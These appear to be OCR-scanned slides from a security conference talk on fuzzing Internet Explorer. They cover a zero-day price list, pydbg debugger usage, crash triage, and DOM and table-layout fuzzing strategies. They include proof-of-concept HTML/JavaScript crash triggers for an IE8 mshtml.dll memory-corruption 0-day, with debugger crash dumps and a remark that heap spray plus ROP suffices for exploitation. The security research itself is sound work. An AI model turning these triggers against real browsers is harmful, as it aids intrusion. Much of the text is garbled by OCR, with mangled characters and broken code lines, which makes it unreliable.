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This is an Easy Talk




Share Some Fuzzing Review of Mine



And Disclosed a 0-Day in Passing






This is Orange Speaking



| am a College Student, Now



Member of CHROOT.org



Part-Time Work at DevCo.re



Disclosed Some Vulnerabilities
cve 2013-0305
cve 2012-4775 (MS12-071)
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2009 SEREFSHRE
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2011, 2012 EEHELHRE

" . BHER

2011 %5{ AVTOKYO :EE | e

2012 & & VXRLConf FEHEM _ Web Security

922 PHPConf, WebConf, — Windows Vulnerability

PyConf ;& Ei Exploitation



If You are Interesting at Me. You Can Visit

blog.orange.tw



| Focus on / Interested in

Web Security & Network Penetration



But Today Let's Talk About 0-Day and Fuzzing
(I am Not Expert in This, But Just Share)
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=4 0-Day



Some Notes in Finding 0-Day



This Time We Talk About IE



ADOBE READER $5,000-$30,000

MAC OSX $20,000-%50,000
ANDROID $30,000-$60,000
FLASH OR JAVA BROWSER PLUG-INS $40,000-$100,000
MICROSOFT WORD $50,000-$100,000
WINDOWS $60,000-$120,000
FIREFOX OR SAFARI $60,000-$150,000
CHROME OR INTERNET EXPLORER $80,000-$200,000
I10S $100,000-$250,000

http://www.forbes.com/sites/andygreenberg/2012/03/23/shopping-for-zero-
days-an-price-list-for-hackers-secret-software-exploits/’




Hacker's Good Friend



* White Box
— Code Review (IE5.5 Source Code)

— A EREE IDA

e Black Box

— Fuzzing



. Garbage in Garbage out
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Fuzzing Model

Generator



hitp://youtube.com/waich2v=m7/Xg-YnMisE



* Windows Debug API

— DebugActiveProcess
— WaitForDebugEvent

— ContinueDebugEvent

— U fiikE. ..

* [REZ ~ EHl{LAY Debugger



A Pure Python Windows Debugger
Interface



>>> import pydbg
>>> dbg = pydbgl)

>>> dbg.load( file ) # or dbg.attach( pid )
>>> dbg.run|)



>>> dbg.bp_set( address, callback )

>>> dbg.set_callback( exception_code, callback )



>>> dbg.read( address, length )
>>> dbg.write( address, length )



>>> bin = utils.crash_binning.crash_binning()
>>> bin.record_crash( dbg )

>>> bin.crash_synopsisi)



mILmEHY BEE
A=2PFh8BHY Crash BE
£ Exploit

JULEX LA _EZ Null Pointer

=l
REES DoS

— mov eax, [ebx+0x70]
—:ebx =0

EIP

Disassemble

— |mp reg

— call reg

— call [reg + CONST]

Stack
SHE Chain



1 [[INVALID]:ffffffff Unable to disassemble at ffffffff from thread 2008
violation
2 when attempting to read from exffffffff

3

4v CONTEXT DUMP

EIP:
EAX:
EBX:
ECX:
EDX:
EDI:
ESI:
EBP:
ESP:
+00:
+04:
+08:
+0c:
+10:
+14:

FEFFFFEF
009b4000
0012b0a4d
00000000
00000000
009d7000
ee9fe4es
@012b0be
@012beec
6bdff710
00000000
00000000
@012b02c
@012b050
@0d34008

disasm around:
exffffffff Unable to disassemble

Unable to disassemble at ffffffff

10174464)
1224868)
@)

e)
10317824)
10421256)
1224880)

1809839888)
@)

@)

1224748)
1224784)

(
(
(
(
(
(
(
(  1224716)
(
(
(
(
(
(  13844488)

=2
=2
->

B? (heap)
1k@@,Z@,Z0.1@@,Z@,Z< . 18@,Z@, Zt41@@, Z4
N/A

N/A

LSC: (heap)

LSDN (heap)

1k@@,Z@,Z0.1@@, Z@,Z< .1@0@,Z@,Zt41@0@, Z4
k,P@@@'1|.1"'pIk@@,Z@,Z0.10@,Z@,Z (sta
N/A

N/A

N/A
@'1|.1''pIlkE@,Z@,Z0.10@,Z@,2<.10@,Z (
@'1|.1''pIlk@e@e,Z@,Z0.1@@,Z@,Z<.1@@, Z@,
LINELSSL (heap)




" 5000( 217 10
C)/v PAVAVAV AV J
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4v CONTEXT DUMP
EIP: 302dca3a
EAX: ©0050000

call [eax+©x22c]

( 327680) -> N/A

EBX: ©eeeeell ( 17) -> N/A

ECX: ©eeeeeee ( @) -> N/A

EDX: eeeeee2c ( 44) -> N/A

EDI: 01521504 ( 22156548) -> R.ARR (\ zOT5%R.”R|R(|R (heap)

ESI: ©15211dc ( 22155740) -> ?Rh@2@2NP d_\ z@D5%R.~R\R(R\RRR (heap)

EBP: 00126280 ( 1204864) -> bH2ORRL?>bcL?>deR(c10L?>|bedehele~<c<%0L?>cE
stack)
ESP: ©012623c 1204796) -> RRXc# |"{@m8bH2@RRL?>bcL?>deR(c10L?>|bedehe
de (stack)

14  +00: ©015211dc 2215574@) -> ?Rh@2@2NP d_\ z@D5%R.~R\R(R\RRR (heap)

15 +04: 01521504 22156548) -> R.”RR (\ z@T5%R.~R|R(|R (heap)

16 +08: 0000001 1) -> N/A

17 +0c: 0005 5) -> N/A

18 +10: 00006 @) -> N/A

19 +14: 00000001 1) -> N/A

20

21v disasm around:

22 ©x302dca36 mov eax,[esi]

23 ©x302dca38 push edi

24 ©x302dca39 push esi

25 @x302dca3a call [eax+@x22c]|

26 ©x302dcad40 test eax,eax

27 ©x302dcad2 jnz ©x3042112f




The Most Important Part of Fuzzing
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1) $FrBdReEssEy (S {Eo]E )
2) JHEAMBIRESSES ((REFEEBETEIE




aILAT, OB ~ B EbE D A\ FHRY
— HTML5 Canvas
— SVG

— VML
e cve-2013-2551 / VML Integer Overflow / Pwn2own / VUPEN

— WebGL
* [E11 Begin to Support
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» R LAERYISEA AP I LARNE
* Internet Explorer is Not Good at
— Parsing DOM Tree
— Parsing <TABLE> with <TR> & <TD>
— Parsing <TABLE> with <COL>

* CTreeNode & CTableLayout



B e

<foo> 1. <script>

<bla id=x> 2. var x =
document.getElementByld( 'x' );

...... 3. vary =
</bar> document.getElementByld( 'y' );
4. x.innerHTML = 'AAAA...";
</bla>
</foo> 5. y.length = 100px;

6. </script>



e R

<body>

<script>
document.body.innerHTML += "<object ...>TAG 1</object>";
document.body.innerHTML += "<aid="tag_3' style="...'>STAG_3</a>";
document.body.innerHTML +="AAAAAAA";
document.body.innerHTML += "<strong style='...'>TAG_11</strong>";

</script>

</body>



=S O

<script> sefTimeout("trigger();",1); </script>

<TABLE style="table-layout: fixed; ">
<col id="132" width="41" span="1" > </col>

</col>
</TABLE>

1.
2,

function trigger() {
var obj_col =
document.getElementByld(" 132");
obj_col.width = "42765";

obj_col.span = 1000;




* Using DOM Methods to
Manipulate Objects
— CreateElement
— removeChild appendChild
— InnerHTML outerText
— createRange
— addEventlistener

— select

,.: el
& 1
e .

- CASA ) B o




1) Randomize HTML Node for Initial

2) Manipulated Nodes with DOM Method
( Can Also Play with CSS at the Same Time)
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| Have Successfully Found 0-Days from IE6 to IE9,

For IE10+ | Haven't Tried Because | am Too Lazy : |



1) Work on Internet Explore 8
2) Mshiml.dll 8.0.6001.23501



mNet earch ZDNet

Downloads Reviews Newsletters

US Edition SMB  NextGen Networks DataCenter M2M CXO ' Windows8 Apple Cloud @ Tablets

MUST READ: Best Android tablets (July 2013 edition)

Topic: Security @ Discover Followvia: 3y |4 Related Stories

IE8 zero-day tlaw targets U.S.
nuke researchers; all versions ot
Windows aftected

Summary: Security researchers have discovered a previously unreported zero-day attack that

Android trojan attempts
via Bluetooth

Norton: Android app ski
consent, gives Facebook
user phone numbers

When the CISO shouldn
whistle on vulnerabilitie:

targets U.S. government nuclear weapons scientists and researchers. Microsoft has warned

Internet Explorer 8 users to upgrade to a later version of the browser, as the potentially affects at Flurry of products pushir

r
?‘

most one-quarter of all IE users. India
: By Zack Whittaker for Zero Day | May 5, 2013 -- 11:41 GMT (04:41 PDT) The best of ZDNet, delivered
b W Follow @zackwhittaker
ZDNet Newsletters

Get the best of ZDNet delivered s
to your inbox

Attackers have exploited a previously unknown vulnerability in Internet Explorer 8, which targets
U S. government workers involved in nuclear weapons research.
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<html>
<script>

var .

X.innerk,
</script>
<body>
<table>
</table>
</body>
</html>

mer’



| Can't Say More Detail Until Patched : |



Call Stack

0:008> k
ChildEBP
WARNING:
0172b0fc
0172b100
0172bllc
0172b3c8
0172b3ds
0172b3e8
0172b3f8
0172b404
0172b410
0172b418
0172b438
0172b463
0172b7ec
0172b874
0172b3%60
0172bals
0172bd98
0172belc
0172c358
0172c7d8

RetAddr
Frame IP
3dc065c7
3dbad8c9
3dbadb32
3dbb372e
3dbb36ee
3dbb36d5
3dccS0c7?
3dcci0b4 8
3dcc0b0s
3dcclc92
3dcec263c
3dcc2b?6
3dcc2ad9
3dccZale
3dcabzeb
3dcaaldfs
3dcee?fhb
3dceeb389
3dccB8857
3dcc8857

module. Following frames may be wrong.

not in any known
0=85d8b53
mshtml |CElement : : Doc+0=x7

mshtml |CTreeNode : : ComputeFormats+0=xb9

mshtml |CTreeNode: : ComputeFormatsHelper+0x44

mshtml |CTreeNode : :GetFancyFormat IndexHelper+0x11

mshtml ! CTreeNode: :GetFancyFormatHelper+0xf

mshtml |CTreeNode: :GetFancyFormat+0x35

mshtml ! ISpanQualifier: GetFancyFormat+0=x5a

mshtml |SRunPointer: : IsRelativeSpanEdge+0x3a
mshtml!SRunPointer::IsRelativeSpan+0x14

mshtml |CDisplayBoxProperties: :GetHasInlineOutlines+0x7d
mshtml |CDisplayBoxProperties: :SetDisplayvBoxProperties+0x24d
mshtml ICPtsTextParaclient : :SetupTextDisplayBox+0=x90

mshtml ICPtsTextParaclient : :SetupDisplayBoxForSpan+0x66
mshtml |CPtsTextParaclient : :SetupDisplayBox+0x203

mshtml |CPtsBfcBlockParaclient : :SetupDisplayBoxForTrack+0=x2b7
mshtml |CPtsBfcBlockParaclient : :SetupDisplayBox+0x349

mshtml |CPtsTableContainerParaclient : :SetupDisplayBoxForTrack+0=x130
mshtml ICPtsTableContainerParaclient : :SetupDisplayBox+0=x2ad
mshtml |CPtsBlockContainerParaclient : :SetupDisplayBox+0=z4a6



(€10.950): Access violation - code c0000005 (!!! second chance !!!)

eax=3dbf00a4 ebx=0019bb30 ecx=037f12c8 edx=085d8b53
esi=0172b130 edi=00000000

eip=085d8b53 esp=0172b100 ebp=0172b11c¢ iopl=0 nv up ei pl
Zr Na pe Nnc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
efl=00000246

085d8b53 ?? B



* Windows Protection
— DEP
— Luckily If Windows XP We Don't Care About ASLR
— Luckily It is Not IE10+ that It Hasn't vTable Guard



Heap Spray + ROP Enough
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Originally, This Story Have a Happy Ending
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Silent Fixed Before a Week of HITCON



what the
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<!DOCTYPE html>
<table>
<tr><legend><span >

<q id='e'>

<a align="center"> <th> O </th> </a>

</q>
</span></legend></ir>
</table>
</html>

window.onload = function(){
var x =
document.getElementByld('e');
x.outerText = '';

}




Work on

* mshtml.dll ...... # .o
e mshimldll ...... #2013 /05 / 14
* mshiml.dll 8.0.6001.23501 # 2013 / 06 / 11

* mshiml.dll 8.0.6001.23507 # 2013 / 07 / 09



e VUEPN Blog
— http:/ /www.vupen.com/blog/

* Paimei
— https://github.com/OpenRCE/paimei

e Special Thank # & nanika



<Orange@chroot.org>



